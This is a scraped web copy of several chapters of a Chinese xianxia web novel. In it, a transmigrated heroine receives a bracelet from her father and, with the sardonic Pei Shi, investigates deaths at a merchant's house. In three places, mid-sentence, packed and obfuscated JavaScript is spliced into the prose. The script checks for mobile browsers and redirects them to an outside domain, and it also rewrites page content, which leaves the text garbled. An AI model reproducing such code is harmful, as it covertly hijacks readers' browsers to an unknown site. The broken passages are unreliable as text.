陆稷道:“打开看看。”陆云笺犹豫片刻,试探着掀开小小一角,看见里面躺着一条串着白玉珠子的手链,霎时怔住了。 在现代,她的父亲也曾送过她这么一条手链。 她家本也算得上小康家庭,但后来父亲摔断了腿失了业,一直找不到稳定工作,她又突然遭遇车祸,勉强被救回来后,又日日缠绵病榻,家里便欠了不少债,这样两场灾难同时发生,足以压垮一个普通家庭。 她躺在病床上,睡的比醒的时间长,而终于有一次她提起精神,出了医院,想再去看看外面的世界时,刚出医院门,便为一家首饰店橱柜上展示的手链驻了足。 倒不是觉得它好看,而是小时候她的母亲曾为她随手编了一串长得十分相似的手链,那手链的珠子是塑料做的,本身并不贵重,但后来出车祸时被碾碎了,倒成了一道解不开的心结。 她母亲在她年幼时患病去世,那是母亲留给她为数不多的东西。 那天她在首饰店前驻足良久,直到后来店员来问,她自觉尴尬,这才离开。而她的心思,父亲向来一眼便能看透且十分重视。 于是后来父亲加倍拼命工作,甚至连饭都能省就省,落下一身病,才终于在她躺在病床上奄奄一息时,把这串手链戴到她手上。 就是这一条。没想到在两个截然不同的时空,居然还能再见。 陆云笺抬头,眼中不自知地含上了泪:“爹?” 陆稷沉默良久,道:“这链子上施了法术,可抵御寻常的妖魔鬼怪。戴上试试。” 陆云笺忽然发觉,她的父亲,在这个时空虽然是天下第一大门派的尊主,总让人觉得遥不可及,又总是看起来严肃冷淡、不近人情,但终究是她的家人。 不管在哪个时空,父亲与兄长,永远都是最可靠的依靠,永远会关心她、体谅她,永远也不会害她。 这是她最珍视的东西。 于是虽然这个世界妖魔鬼怪横行,还有一堆乱七八糟、莫名其妙的事情,也都觉得没关系。 她依言戴上,低头看了一阵,眼泪不由自主地哗啦啦往下掉,又怕父亲担心,于是慌忙地把眼泪擦干净,再一抬头,眼睛泛着光,连声音都有些哑了:“很好,谢谢爹。” 她实在太过激动,虽然擦净了眼泪,但还是止不住地一抽一抽,一遍遍轻轻摩挲着那手链,把白玉珠子摩挲得发亮。 陆稷等了好一阵,等她抽得没那么厉害了,淡声道:“你与裴世多接触,这是好事。有些事情不必多管,以免徒增烦恼。” “好,”陆云笺还是又哭又笑,仿佛只会说这一句话了,“谢谢爹。” 那日陆稷并没有说几句话,但陆云笺整个人却像新生了一般,喜气洋洋活蹦乱跳,从一棵病恹恹要死不活的草变成了一颗亮得能闪瞎人眼的太阳。 直到休沐日结束,陆明周派给她和裴世一个新任务时,都还是兴奋的。 有点太兴奋了。 譬如看见有女孩儿怀里抱着只毛茸茸的小兽,她会眼睛冒光地笑着说:“裴世,你看那个女孩子抱着的小东西,好可爱啊!” 裴世淡淡瞥了一眼,冷笑道:“是,等它长到可以一口把陆小姐吞了,那就更可爱了。” 陆云笺也不在意他的态度和语气,回过头又找到了一个好东西:“你看那个花,是彩虹的颜色,好好看啊!” 裴世淡淡瞥了一眼,冷笑道:“是,它毒死人的时候更好看。” 陆云笺见他如此,也不恼,反倒指着地上一条蠕动的毛毛虫:“你看它有好多条腿,胖嘟嘟的,爬起来多可爱啊。” 裴世瞥了一眼,终于不是淡淡地了,他有些迟疑地冷笑道:“是,陆小姐……” 陆云笺笑眯眯地看着他。 裴世勉强把话说完:“陆小姐的品味真是独特。”说完又补了句,“陆小姐……看起来心情很好啊。” 陆云笺无视他显而易见的看傻子的眼神,笑道:“当然好,我第一次出任务就非常成功,出师非常利,当然高兴啊!”说着又抬起手腕,欲亮出那串白玉珠子,“而且……” 还没“而且”完,忽闻不远处传来凄厉的惨叫:“救命,救命啊!有鬼啊!” 二人循声抬眼望去,只见一名瘦小男子在前方不远处无方向地疯狂奔逃,一只手捂着脖颈,另一只手疯狂而无目的地在空中挥舞着,一身粗布衣裳,肩上的褡裢破旧不堪,看着沉甸甸的,装了许多东西。 他整个人被沉重的包袱压得站不稳,跑起来的时候有些滑稽。自他捂着脖颈的手指之下,渗出丝丝鲜血,汇成一道细细小流,尽数流入悬在他脖颈边的一团黑雾里。 陆云笺在图鉴里见过这种怪物,会吸人血,虽不是什么厉害妖怪,但普通人遇上也够受的了。 她微微侧头,试探性地看了裴世一眼,裴世淡淡看着,并没有要出手相助的意思。察觉到陆云笺的目光,裴世露出个带着点无辜的笑:“伤没好,动不了。” 陆云笺一阵无言,本能地觉得他这无辜里有几分狡诈,心道怎么之前又是砍鬼魂又是捏鬼魈的时候不见如此。 但左右这黑雾也不是什么厉害角色,她从怀里摸出两张驱邪符,灌了些灵力,朝着那团黑雾掷过去。 那团黑雾瞬间被打散,裴世拍着手,仿佛十分诚恳地赞叹道:“陆小姐真是厉害。” 陆云笺对无视他的嘲讽也称得上熟练了,大步上前扶起瘫坐在地上的人,那人发着抖,朝着他们疯狂作揖:“感谢,感谢仙君,感谢仙君救命之恩……” 陆云笺往他脖颈上瞧了瞧,见血已经止住,只留下一道细长的血口子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴世道:“他有问题,与我何干?即便招致什么祸端……”他颇悠闲自在地,“我不怕,陆小姐怕么?” 陆云笺道:“当然怕啊,我可不如裴公子艺高人胆大。你说他做了亏心事,怎么说?” 裴世记着她说的话,眼下终于找到机会报了仇:“我就是想到什么说什么,陆小姐不要当真。” 陆云笺哭笑不得:“我帮你说话呢,你怎么还记着这个?你是不是觉得,他一个穿得破破烂烂的人,不应该背着这么一大袋子宝物?不过我看他包袱里这些黑色鳞片也不多,统共只有十几片。” 这些原也不是什么难发现的事,陆云笺不过抛个话头让他来接,裴世察觉到她的意图,先是毫无诚意地夸赞了一句:“陆小姐真是聪慧过人。”接着才道,“不过那些黑雾的确只吸恶人的血,只因人一旦作恶,心绪不定,在没有十足的防备下,更容易被吸血,那黑雾本事不强,自然只能选这类人。当然,所谓的宝物也是一点。” 陆云笺又仔细看了看那鳞片,觉得有些奇怪,但又不知是个什么名堂:“你觉得这鳞片有什么问题没有?” 裴世抱着手,还是一副事不关己的悠闲姿态:“总之不是什么寻常东西。”他笑得高深莫测,“我劝陆小姐……不要多管闲事。” 17. 故风闻 此时虽已入秋,日光却仍然极为耀目,天气也热,陆云笺生无可恋地耷拉着眼皮,拖着步子,快要跪倒在地上:“怎么这么远?还让不让人活了——不是,裴世,你们平时出任务就这么徒步走?” 裴世腰板挺得直,看不出半点疲倦,陆云笺看着他,一时被他脑后的太阳晃住了眼睛。他不紧不慢地回答:“那倒不是,这个距离,也可以雇马车。只是我看陆小姐精力太过旺盛,走一走,消耗些过剩的精力也好。” “……” 陆云笺没力气与他理论,转头又被街边摊子上现做的饼的香气吸引了去:“哎,裴世,你饿不饿?吃不吃饼?” 裴世正要拒绝,回头看见陆云笺已经在怀中摸钱袋准备买了,于是转了话锋:“下山前刚用过饭,陆小姐这会儿就饿了?若是如此,下回走到荒郊野地去,饿死了可不光彩。” 陆云笺登时怒上心头,也不去摸钱袋了,气冲冲拔腿便走,快步擦过裴世的肩,走出一段,头也不回地丢过一句话:“照裴公子这速度,我看的确有可能饿死在路上。” 半晌没听见他的回答,陆云笺回过头,正见裴世大步朝她走来。他也不嘲讽回来,只状似不经意地问:“坐马车吗?” 这是陆云笺觉得他像救世主的第二个瞬间。 临时雇的马车简陋,一路上摇摇晃晃,但省去了不少脚力。 陆云笺撑着下巴看着外头,这条街十分热闹,车水马龙人群熙攘,她问:“裴世,这里修真门派林立,为什么还是有这么多妖魔鬼怪作乱?” 裴世不知在看什么图纸还是卷轴,闻言抬头,道:“修真界有一传闻,与几百年前一件旧事有关,当然,和现在这些妖魔鬼怪也多少有些关系。” 陆云笺顿时来了兴趣,转过头道:“什么传闻?” 裴世道:“上古妖魔鬼怪横行,出了一只怪鸟,那怪鸟兴风作浪,弄得人间生灵涂炭。 “后镇压妖魔的九天仙神将其收服,那怪鸟便归于仙神麾下,引导无辜死于妖邪作乱之人的亡魂转生,因而那鸟有了个新名字——‘照灵鸟’。 “照灵鸟助仙神平定灾乱,此后便一直留在人间镇压妖邪。几百年后,照灵鸟逝去,大部分躯体消散,剩余碎骨流落人间各处,世人称其为‘照灵骨’。 “后来出了位受过神仙点化的仙人与一位怨念深重的魔王,他们各得了一段照灵骨,魔王将其制成一具骷髅,世人称其为‘断界骨’,是因这骷髅,可用于打通两个时空。” 陆云笺一激灵。 裴世细致地观察着她的一举一动,见状一挑眉,道:“怎么了?” 陆云笺扯出一个笑容:“没想到还有两个时空……这‘两个时空’,是什么意思?” 裴世道:“在我们所处的时空之外,还有另一个时空,通过一道处于两个时空之间的裂隙相接。不过这裂隙已大体被封闭,只留下一道细小裂痕,实体不能通过,只能容灵体通过。” 陆云笺皱眉:“这实体和灵体,又是什么?” “实体有固定的实际形态,如人与妖魔鬼怪的肉身。灵体,是人的魂魄之类。”裴世注意到陆云笺的神情,靠近了些许,带着些引诱的语气,“怎么了?” 陆云笺勉强定神,反将一军:“这传说未免有些离谱,若是人死了之后,灵魂可以任意穿越,那岂不是所有人都不用轮回转世了,就在两个时空里自由游荡?” “自然不会。人死了,若是魂魄完整,自然是要立即前往转世的,无一例外。若是魂魄不完整……”他说着忽然停住,随即眯着眼打量了陆云笺好一阵,没再继续。 陆云笺道:“……怎么了?”见裴世不答,她试探道,“不是讲仙人和魔王?” 裴世收了目光,继续道:“魔王打通两个时空的目的,是将这个时空的灾难引入另一个时空,到那时,两个时空都将毁于魔王之手。 “仙人自然是要拯救苍生的,他将魔王击败,将打通时空的断界骨进行改造,使其拥有打通和闭合时空裂缝两重功能。仙人将裂缝闭合,但由于灵力所限,还剩了一道小小裂痕,不过无甚大碍。 “魔王呢,他在将死之际以魂飞魄散、永不超生为代价设下法术,终有一日,他麾下的妖魔鬼怪会尽数重归于世,那时于人间,将是一场浩劫。” 陆云笺在听故事时善于共情,已经开始着急了:“那仙人呢?” 裴世一笑,那笑里含着几分嘲讽:“仙人?仙人在与魔王一战之后就销声匿迹了。” 陆云笺有些泄气:“那这传说要是真的,我们有办法抵抗吗?”总不能在另一个时空刚刚病死,在这个时空又要面临世界末日吧。 裴世轻飘飘道:“或许?” 陆云笺倒是找了个安慰人的突破口:“我觉得,这传说听起来太玄乎,不一定是真的。”思索片刻,她又道,“你觉得是真的吗?” 裴世道:“我的确不大相信,会有修士如传说中这位仙人一般,舍己为人,以身证道。”说着却又一转话锋,不急不慢地,“不过也可能是真的,这些稀奇古怪的妖魔鬼怪就是很好的证明。而一年前,修真界也的确碰上了一番灾劫。” 陆云笺一怔:“真有灾劫?” 裴世道:“一年前,妖邪大量出世,不过仙门百家准备充足,不出五日便将妖邪悉数镇压。” 陆云笺道:“要真像传说中那样,会有一场足以颠覆整个修真界的灾劫……你怕不怕?” “怕?”裴世像是听到了什么笑话,“命数二字,怕就有用了么?”明明是个沉重的问题,他却说得十分轻巧,全数交与“命数”二字,仿佛毫不在意,又仿佛无所畏惧。 陆云笺笑笑,转着案上的茶盏杯盖,道:“也是。不过要是知道哪天是世界末日的话,那就能在那之前,及时地把自己想做的事都做了,那就没有遗憾了。总感觉只有知道哪天是尽头,才会更认真地活着。” 茶盏中冒出的热气氤氲了她的眉眼,她的思绪随着缥缈雾气飘远,不过下一刻,这雾气便被香气掩盖了。 裴世从怀里拿出方才陆云笺在摊子上掏钱欲买的饼,递给她。 陆云笺眼睛一亮:“你什么时候买的?” 裴世答非所问道:“怕陆小姐饿死在路上,回头不好交代。” 陆云笺早已接过了饼,但忽然想起了什么,还是客客气气地问:“都给我?你不要吗?” 裴世道:“都到嘴边了,还问什么?” 陆云笺眼里映着光,朝他一笑:“谢啦。”她咬了一口,像是想起了什么,“这饼多少钱来着?我待会儿把钱给你。” “……” 裴世眼底嘴角的笑意立刻跑了个干干净净,他似乎还翻了个白眼,往后一靠,抱着手去看窗外了。 之后陆云笺再想和他说什么,他都一律装没听见,不知道在闹什么别扭。 马车摇摇晃晃,不知不觉就晃到了目的地。 “仙君救救我,救救我啊——有人想杀我——”陆云笺没想到一进门就看见这样哭爹喊娘的架势,下意识扶了那扑过来的男人一把,让他慢慢说。 委托他们除祟的叫郝庆,是个生意人,靠着珠宝生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047604|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了家,一举摆脱了从前一贫如洗的时日,屋中处处镶金嵌玉,华光溢彩。 “十几天前,我就开始做一个奇怪的梦,梦里一个穿着白斗篷、看不见面目的人,高高瘦瘦的,看着像个男子,操纵着一条小小的黑龙,那黑龙张牙舞爪扑过来就要咬我,每到这时候我就惊醒了,但是守在我门外的下人就莫名奇妙地死了,已经死了好几个了,他一定在挑衅我,告诉我,下一个就会是我!” 郝庆浑身发着抖,哭得涕泗横流,但说话却不抖,只是语速飞快,像是怕再也说不出来似的。 陆云笺终究算是个新手,短时间内接收这么多信息,一时间不知从何下手,只好看向裴世。 裴世本来没打算开口,感受到陆云笺求助的目光,这才幽幽道:“那些尸体还在吗?看看。” 郝庆便命人抬上来几具尸体:“最开始……最开始是内人,已经好好地下葬了……最先几具下人的尸体叫他们家人带走了,后来觉得蹊跷,便留下了这么几具,都是最近的。” 那些尸体的确还是新鲜的,身上布满大大小小的血坑,似乎是兽类啃食留下的痕迹,惨不忍睹。陆云笺看了一眼之后就痛苦地闭上眼睛,不愿再看。 裴世倒是冷静得很,不过也并未仔细查看尸体的伤口,只抬眼打量着郝庆:“郝员外怎么知道那就是龙,不是别的什么,比如蛇?” 郝庆愣了一下,似乎没明白他为何如此发问,旋即低下头,没看他的眼睛:“有……有角的,应、应该是龙。” “那龙可是一看见你,就朝你扑过来?” 郝庆怯怯地抬眼看他一眼:“是、是。” 裴世冷笑一声:“那郝员外可真够冷静的,都上嘴咬你了,还看它有没有角。” 郝庆微不可察地倒吸一口冷气。 裴世没理会他,不再剑走偏锋:“守在门口的下人都死了?有没有没死的?” “有……有一个。”郝庆睨着他,有些发怵,“把阿宋喊来。” 从院中走上来一名高高瘦瘦的少年,肤白清秀,低眉顺眼,可能是因年纪稍小,并没有像别的下人那样刻在骨子里的顺从与卑微。 郝庆道:“阿宋是新来的,那时候守着我房门的下人都死了,请了些道士作法,找了些小仙门,都没什么用,府内人心惶惶,阿宋却自请来守着我的房门。那段时间我虽还做梦,但好歹没出什么事。我以为没什么事了,便换了个人来守房门,谁想到,昨晚那人又死了。” “阿宋。”裴世朝阿宋抬了抬下巴,“死了那么多人,你还敢主动揽这差事,不怕死?” 阿宋低垂眉眼,声音轻微而平静:“小时候爹娘算命,说小的命硬,轻易死不了。小的想多拿些银钱,别人不敢做的差事,小的也愿试一试。” “命硬啊。”裴世微微一笑,“你过来,我给你看看手相。” 陆云笺不懂裴世的操作,只能和同样迷茫的郝庆尴尬地对视一眼。 裴世牵过阿宋的手,随意看了看他的手掌,相当不走心地道:“是命硬。既如此,你今晚就再守着你们家老爷,如何?” 阿宋微微抬眼,没有看他,而是看向了郝庆。 郝庆忙不迭地:“都听仙君的,都听仙君的。”阿宋这才应允下来。 裴世对郝庆道:“左右现下也看不出个什么,我们先观察一夜。郝员外今夜还是照常睡,我们在你房里守着,看看是否有什么鬼怪作乱,让你做这样的噩梦。” 他的视线扫过屋内站着的人,最后停在阿宋身上:“反正阿宋守在门外,不会出什么事。” 18. 旧冤孽 由于晚上有大工程,二人决定在白天补一觉,早早用过饭后,便前往各自住处。 陆云笺避开下人,悄悄拉住了裴世:“怎么样?” 裴世装傻:“什么?” “你给他看手相啊。” “不是说了么,命硬。” “真就只是看手相啊?”陆云笺狐疑地蹙眉,“没别的?” 裴世好笑地看着她:“陆小姐……原来还剩了那么一点点脑子。” 陆云笺:“??” “我方才的确不是在看手相,我把灵流打入他的经脉试探,他的确只是个普通人,没有灵力。” “不会吧,真就有人命硬成这样,妖魔鬼怪都不伤他?”只怕神仙转世都不会有这样的命格吧。 “自然是胡扯。不过究竟为何独独他一人没死,只能今晚再看。”裴世一笑,转身走向自己的房间,“所以陆小姐还是好好补觉吧,到时别打瞌睡。” 瞌睡自然是不敢打的。为了保命,陆云笺在隔着礼貌距离的前提下,努力和裴世靠得近了些。 然而一夜无事,除了窗外聒噪的虫鸣,一切都平静得近乎诡异。清晨一推门,便见阿宋在外洒扫庭院,一派岁月静好。 裴世面无表情地转身:“我看郝员外,睡得很好啊。” “我、我昨天晚上一开始睡不着,后半夜才迷迷糊糊睡过去……”郝庆睨着裴世的神色,生怕云间世来的大佛以为自己在诓骗他,着急忙慌地拍马屁,“一定是仙君神通广大,让那妖物不敢靠近了。” “不敢当。”裴世意味不明地笑着,“就是阿宋命格好。郝员外回头干什么都可以带着阿宋,辟邪消灾。” 郝庆不敢轻易回话,生硬地扯出一个笑容。裴世倒是浑不在意,一边往大厅走,一边和他搭话:“听说郝员外之前不是这里的人?” 郝庆抹了把汗:“确实如此,我之前是溟海村的人。” “溟海村?” “是……就是溟海边的一个小村子,那地方偏僻得很,仙君不知道也很正常。”郝庆还以为裴世不知道溟海村,但似乎也不太愿意提起这个地方,只是草草带过,“我做珠宝生意赚了点小钱,便携家眷搬到这里,之后也没再回去过。” “一开先就选了珠宝这一行,想必是有资本的。郝员外在溟海村做什么营生?” “在溟海村的时候靠打渔为生,后来变卖了家里的传家宝,有了些资本,便来到镇上做生意。” 下人摆上茶点,郝庆把盘盏往二人面前推了推:“二位仙君辛苦,先用些早点吧。” 陆云笺眼睛一亮:“郝员外,这个吊坠……能不能看看?” 郝庆低头,见原本掩在衣服下的吊坠不知何时露了出来,沉默片刻,还是摘下来递给她:“仙君想看,那便拿去吧。” 陆云笺看了一眼,便递给裴世。她借着修真界的陆云笺的一双眼睛,虽看得见妖魔鬼怪,感受得到它们的气息,但究竟有个什么名堂,她目前能力有限,看不出来。 那吊坠由一根红绳穿着,造型简单,形状宛如水滴,只是更为细长,尖端微微弯曲,泛着柔和的光泽。 裴世拿在手里看了会儿,便递了回去:“的确品质上乘,不似凡物。郝员外从何处得的?” 郝庆接过吊坠便把它塞进衣服里,整好衣领,道:“我刚从溟海村出来时,也常做一些噩梦。后来遇到一位道人,送了我这样一件东西,还有一句咒语,说是可以破除噩梦,我便戴着试了试,果真有奇效。只是这次……” 裴世道:“这道人给了这么一样好东西,没什么条件么?” 郝庆抬眼看他,片刻后才道:“说是看我与他有缘,所以才送给我的,我本来也不信,只想着随便试试罢了。自那之后就没再遇到过那位道人,想来还有些遗憾。” 裴世笑道:“这道人好大方,我也想遇一遇呢,可惜与他没缘分。” 正说着闲话,下人突然领了个人进来,那人十分瘦小,一身粗布衣裳,背上褡裢破旧,似乎赶了很久的路,风尘仆仆。他一见郝庆,黯然疲惫的双目便猛地绽放出光彩。 “郝老爷!郝老爷啊——”眼泪刹那间迸出,下人欲拦不及,他三两步奔上前便跪在地上,像是见到了久未谋面的至亲,“我,我找您找得好辛苦——” 郝庆似乎也十分诧异,起了身,却没有要扶的意思:“郝三儿?你怎么……” “您走了之后,我媳妇儿没多久就病死了,我便出来投了丈母娘,有那些宝贝,日子也过得不算窝囊……谁知有一日我从外边回去,看见我丈母娘一家都死了,惨、惨得很哪——” 这位郝三儿在大厅内鬼哭狼嚎,下人都频频侧目,郝庆面上有些挂不住,叫下人把他扶起来,阻住他的话:“那你这又是……” “郝老爷,老爷,我只能来投奔您啦……”郝三儿哭够了,脑子还有几分清醒,从包裹里拿了些金银珠宝,“这些都是我拿宝贝换的东西,还望您能大发慈悲,赐我一份差事,让我有个活头……” 郝庆瞥了他一眼,让下人把金银珠宝都收了下去,这才又坐下来:“你先坐下,好好说话。” 郝三儿这才擦了眼泪起了身,似乎才看见裴世和陆云笺就坐在旁边:“哎哟!两位仙君,你们怎么在这儿?” 陆云笺不尴不尬地笑道:“好巧,我们也有点事。”她似乎想起了什么,从怀里拿出那枚烫手山芋般的黑色鳞片递给他,“这我们还是不能收,先生刚遭遇那样的事,还是自己留着吧。” 郝三儿见这东西实在送不出去,如今又有了更适合送的,便收了这鳞片,从包裹里拿了些金银首饰:“那仙君就看看这些吧,都是上好的。” 陆云笺左右推脱不过,便拿了只手镯收着。 裴世上上下下打量郝三儿几遍,问道:“听先生方才的意思,也是从溟海村来的?” 郝三儿对裴世的印象显然不大好,语气里的亲切顿时淡了下去:“是,郝老爷是小人本家的贵人。” 裴世倒是不在意他亲切客气与否,只顾问自己的:“我看先生这宝物并非凡品,值大价钱,先生何不全卖了,自己发家致富,又何必四处投奔人?” 郝三儿蹙起眉头:“郝老爷是咱们溟海村的贵人,自然会照拂咱们,不比自己一个人在外头拼命强得多?”这番话没什么说服力,毕竟大多数人若有机会选择,都会心心念念地想当老爷,而不会像他这般,辛辛苦苦只为当个下人。 不过裴世也没打算问下去,他沉默地吃了些早点后,便对郝庆道:“郝员外今晚还是只管好好睡,还是吩咐阿宋看着门,我们在门外守着。” 郝庆愣了一瞬,随即有些慌乱:“仙……仙君,不需要在房内作法么?” 裴世笑道:“不了,若是我们还在房内,只怕那妖物真的不敢靠近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郝三儿道:“我那日正好出门,回来后就看见丈母娘和小舅子血淋淋地躺在地上,浑身都是血,像是被什么东西咬了,我丈母娘家统共就他们两个人……要是我那天在家,会不会……会不会死的也有我一个?” 郝庆忽然猛吸一口气。 郝三儿抖得厉害,没注意到他吸没吸气:“所以我才来找郝老爷,咱们也好有个照应啊……” 郝庆道:“是这样,我这儿不缺人,你在这儿呢,我怕亏待了你。你去把换来的金银珠宝都卖了,自己开个店,足以衣食无忧了……” 郝三儿察觉到他的逐客之意,挣扎起来:“郝老爷,我也不讲什么亏不亏待的,也不敢求什么大富大贵了,只求郝老爷给我一个安身之处……”他把褡裢放上桌,往郝庆面前推,里头的金银珠宝发出令人动摇的碰撞声,“这些,这些都是老爷的。” 见郝庆犹豫,他的态度也硬了几分:“老爷,吃水可别忘了挖井人,您当年……要不是我们家给了您那两斗米……”他也是急了,该说的不该说的都往外蹦,在富人面前提他穷困潦倒的往事,这不是找死么? 郝庆果然怒上心头,起身拍桌道:“来人,送客!” 眼见下人就要上来,郝三儿一急眼,朝郝庆吼道:“郝庆!咱们是一条绳上的蚂蚱,你的腌臜事我都知道,事儿是咱们一起做下的,要是神龙来报复我,你也别想好过!” 郝庆果然被唬住了:“你到底要怎样?” 19. 虚实境 郝三儿挣开正欲拖他下去的下人,瞪着郝庆:“这些东西都给你,只要你肯让我在你府里住下。” 此后便是许久的沉默,只能听见郝三儿的喘气声,后来彻底归于寂静,大厅里似乎没有人了。 裴世把那朵白梅捏碎,冷笑道:“这个郝三儿,果然很有看头。” 陆云笺道:“听他的描述,他丈母娘一家的死……似乎和这里死的那些下人,有些相似?”那样残忍的死法实属罕见,她一不留神又想到那血淋淋的画面,不禁打了个寒颤。 裴世道:“极有可能是同一种死法。” 陆云笺道:“还有,我那天往他的褡裢里看了一眼,只看见了那些黑色鳞片一样的东西,还有些衣物什么的,没看见什么金银珠宝,他说那个是宝物,那些金银……会不会是他拿那个黑色鳞片换的?” 裴世道:“八九不离十。我那日看那鳞片有些妖物的气息,但并不多,不是纯正的妖物。倘若那真是神龙身上的东西,倒也说得过去。” 黑色,鳞片状,神龙……一阵寒意爬上背脊,陆云笺瞪大眼睛:“那不会是……” 裴世道:“龙鳞。” 陆云笺道:“可是一般人怎么能随随便便靠近神龙,还拿走那么多鳞片?就算是死去的神龙……普通人一般情况下也见不到吧?” 裴世道:“是。不过呢,无论是什么人,能做的事,谁都料不全。倘若是他们自己干了什么恶心事,惹得神龙前来报复,那也是他们自己该想的,与我们没有关系。云间世拿了郝庆的钱,要我们给他破除噩梦,那给他把带来噩梦的东西找出来便是,至于别的什么恩仇,就别随便插手了,免得惹祸上身。陆小姐觉得呢?” 他说每一句话时,都称得上毫无情感,陆云笺被他看着,不知为何遍体生寒。 她状似平静地笑笑:“那是自然。”沉默片刻,她又道,“你为什么觉得阿宋有问题?只是因为守着郝庆的下人,唯独他没死?” 裴世道:“就这一条,他便足够奇怪了。不过呢,”他顿了顿,随即笑道,“他是郝庆府上的下人,却全然没有卑躬屈膝的样子,比他主人还不卑不亢,倒是很有意思。” 大概是真的觉得他很有意思,晚上守在郝庆房门外时,裴世竟然纡尊降贵地招呼阿宋到他旁边坐。 陆云笺简直觉得惊悚。裴世平时傲得很,像是趾高气扬的学霸,如今居然主动在深夜和一个完全不熟的嫌疑人唠嗑,她不禁有些替阿宋感到害怕。 阿宋倒是完全看不出来害怕,他犹豫片刻,在裴世对面坐下,离得远了些,只堪堪听得见对方说话。他没看裴世,垂着眼看地上月亮投下的光影,是低眉顺眼的姿态,但的确透着不卑不亢的气质。 裴世笑了笑,没喊他再坐近点,也没管会不会吵到郝庆,开始聊些闲话。 “‘阿宋’。为什么叫这个?” “小的没有名字,只知道自己姓宋,所以大家都这么叫。” “没有名字么?”裴世道,“你之前是哪里人?” “溟海村的人。” “啊,和你们郝老爷一个地方的?他不曾问过你的身世么?” “小的是溟海村的孤儿,一条贱命,不敢与老爷比,老爷也从不会过问这些小事。” “什么贱不贱命。”裴世的话像是终于带上了些真情实感,阿宋微微抬眼,眸中的情绪也有了波动,其中情感复杂,教人不能看透。 裴世没有就着这个话题说下去,而是继续他盘问一般的闲聊:“你多大了?” 阿宋再次低下眼:“今年……十八了。” 这个数字在三人耳中变得遥远缥缈,下一刻,仿佛忽然坠入一个梦境,四周景色,刹那间变得截然不同。 周遭是一片金色密林,只有浅淡的金色,像一个单一色调的离奇世界。树木的轮廓模糊不清,仔细看才能看出林叶上缀着霜花一般的诡异花朵,发出凄惨可怖的尖啸与听不清内容的私语。 陆云笺本在认真地听裴世和阿宋聊天,不想忽然坠进一个陌生而诡异的世界,险些忘了呼吸。 裴世和阿宋都不见了。她目光所及之处,没有第二个人。 是幻境么? 陆云笺捏了一下袖中厚厚一沓符纸,召出佩剑紧握在手中,才稍微定了神。 “裴世?”她试探着小声喊,喊了许多遍,声音逐渐大了起来,也没见有什么动静。 陆云笺不安地四处张望,猛然看见身旁立着一个披头散发的人,一身白衣,浑身是血。她下意识退出几步,这才发现这“人”并不是立着的,而是飘着的。 骤然看到这么个东西,陆云笺虽忍住了尖叫,心脏却是一阵猛跳,紧接着又是一阵头晕目眩。她勉强定神,持剑朝那东西乱砍,那东西便消失了,没有血溅出,也没有留下任何痕迹,和寻常鬼怪不大一样。 陆云笺不敢再随便发出声音,只警惕地四下观察着。 前面又过来一群丧尸一般的东西,形容可怖,叫声凄厉,以奇异的姿势缓慢地行进着。陆云笺符纸佩剑一起上,那些鬼怪仿佛全然没有杀伤力,只一下便尽数消失。 简直像是只为了吓人。 陆云笺又斩碎了几群幻影似的鬼怪,回头忽然看见一个红衣女鬼扑将上来,她猛地倒退几步避开,勉强稳住脚步。 那女鬼的攻势迅猛得很,但陆云笺的剑胜在快速而频繁地落下,且毫无章法,竟让她侥幸砍中了,血溅上半空,伴随着撕心裂肺的尖啸,女鬼倏然消失不见。 有血。 陆云笺尽管抖得厉害,但还是竭尽全力握紧剑柄。 来真的了么? “陆云笺……” 背后忽然传来一声唤,她握紧了剑回过头,尚未看清来者是谁,突然一个人影摇摇晃晃扑上来,陆云笺忙伸手去扶:“裴世?!你……” 裴世脸色差得很,嘴角还挂着血,走路都有些不稳当。 陆云笺赶紧扶着他到一旁坐下:“你怎么了?” 裴世调整片刻才开口:“这是幻境。最初的那些鬼怪都是幻影,并无杀伤力,新的这几只才是真的。我们不在同一个幻境,但两个幻境并无相差。” “那你怎么到这个幻境里来了?” “我不来,你等死吗?鬼怪会越来越多,你行吗?”句句不客气,但又句句在理。 陆云笺无奈地忍了,好声好气地问:“你哪儿伤了?要不要用药?” 裴世道:“不用了。这是强行进入封闭幻境的正常反应,药没用。” 陆云笺嘴边感谢的话徘徊了一圈,怕惹得他不悦,没说出口,但心里还是不大好意思。这差不多是她欠他的,第三条命了。 正这么想,忽听身后响起诡异的低吼,回头一看,看见一片黑压压的鬼魅如潮水般涌过来,登时吓掉了半条命。 她下意识转头道:“裴世!” 却见裴世淡淡地看着那片鬼魅,没有丝毫慌张,也没有丝毫要动手的意思。大概是强行进入另一个幻境的代价太大,他还没完全恢复过来,一时间无力抵抗。 陆云笺咬牙,持着佩剑有模有样地对着涌过来的鬼魅划了一道弧,尽管气势恢宏,却没什么力道,但好在剑争气,一道弧,也足够了。 她的佩剑唤作“惟霜”,剑如其名,蓝色剑光如霜雪般泛着冷意,凌厉剑气将压境的黑云逼退数米。 裴世抬眼看她。 尽管这一剑没力道没技巧,但那上天入地的架势,与从前的陆云笺,竟然可笑地重合了。他的心像复苏了似的,尽管生硬,尽管荒诞,但还是不可遏制地又转向了那个几近不可能的、他自己都早已否定了的猜想 